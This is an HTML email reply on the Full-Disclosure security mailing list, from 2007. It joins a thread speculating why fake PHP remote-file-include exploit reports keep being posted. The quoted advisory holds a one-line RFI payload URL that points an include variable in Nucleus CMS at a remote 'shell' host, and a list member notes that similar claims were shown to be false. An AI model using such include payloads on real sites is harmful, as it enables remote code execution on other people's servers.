I like the idea they are all terrorist passing secret messages in fake exploits. <br>/me waits on the Tom Clancy movie<br><br><div><span class="gmail_quote">On 5/7/07, <b class="gmail_sendername">Ron Superior</b> &lt;<a href="mailto:rsuperior@gmail.com">
rsuperior@gmail.com</a>&gt; wrote:</span><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">Hi folks,<br><br>&nbsp;&nbsp;Some months back I seem to remember people hypothesizing as to the
<br>real purpose behind some of these particularly lame fake PHP exploits.<br> You know the ones I mean; they&#39;re mostly remote file includes, they<br>often are decorated with some simple ASCII art, and the &quot;thanks&quot; and
<br>&quot;greetz&quot; sections are always loaded with names that suggest Turkish or<br>other Middle Eastern origin.<br><br>&nbsp;&nbsp;The two most interesting suggestions that I recall were:<br><br>&nbsp;&nbsp;1) Somebody wanted to pump up the lists with PHP exploits so they
<br>could claim later that some large number X of PHP vulnerabilities had<br>been posted to FD since some date.<br><br>&nbsp;&nbsp;2) Covert communication, or that the &quot;exploits&quot; were really secret<br>messages between t3rr0ri$ts or something.
<br><br>&nbsp;&nbsp;I&#39;m sure there exists a motive beyond just spamming us to be<br>annoying.&nbsp;&nbsp;Any one have any new ideas, or good arguments for either of<br>the above two ideas?<br><br>&nbsp;&nbsp;&nbsp;&nbsp;Ron<br><br>Guasconi Vincent wrote:<br>
&gt; On 5/6/07, security curmudgeon &lt;<a href="mailto:jericho@attrition.org">jericho@attrition.org</a>&gt; wrote:<br>&gt;&gt; : VENDOR :<a href="http://nucleuscms.org/">http://nucleuscms.org/</a><br>&gt;&gt; : BY : s3rv3r_hack3r (
<a href="http://hackerz.ir">hackerz.ir</a> admin)<br>&gt;&gt; : bug:<br>&gt;&gt; : nucleus3.22/nucleus/plugins/skinfiles/index.php&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =<br>include($DIR_LIBS . &#39;PLUGINADMIN.php&#39;);<br>&gt;&gt; : Exloit:<br>&gt;&gt; : 
<a href="http://victim/nucleus/plugins/skinfiles/index.php?DIR_LIBS=http://shell">http://victim/nucleus/plugins/skinfiles/index.php?DIR_LIBS=http://shell</a><br>&gt;&gt;<br>&gt;&gt; I haven&#39;t examined the source code to this, but on June 16, 2006,
<br>&gt;&gt; <a href="mailto:gamr-14@hotmail.com">gamr-14@hotmail.com</a> disclosed RFI vulnerabilities [1] in four Nucleus<br>&gt;&gt; scripts, all with the DIR_LIBS variable as the injection point. This was<br>&gt;&gt; subsequently proven to be a false report as the variable was previously
<br>&gt;&gt; set and could not be manipulated by an attacker.<br>&gt;&gt;<br>&gt;&gt; Have you actually tested this, or is this based on a quick grep of the<br>&gt;&gt; source code?<br>&gt;<br>&gt; They&#39;re like bots now.
<br>&gt; They didn&#39;t hear you, and you can&#39;t stop them.<br>&gt;<br>&gt; Try a spam rule.<br>&gt;<br><br>_______________________________________________<br>Full-Disclosure - We believe in it.<br>Charter: <a href="http://lists.grok.org.uk/full-disclosure-charter.html">
http://lists.grok.org.uk/full-disclosure-charter.html</a><br>Hosted and sponsored by Secunia - <a href="http://secunia.com/">http://secunia.com/</a><br></blockquote></div><br><br clear="all"><br>-- <br>-- h0 h0 h0 --<br><a href="http://www.nopsled.net">
www.nopsled.net</a>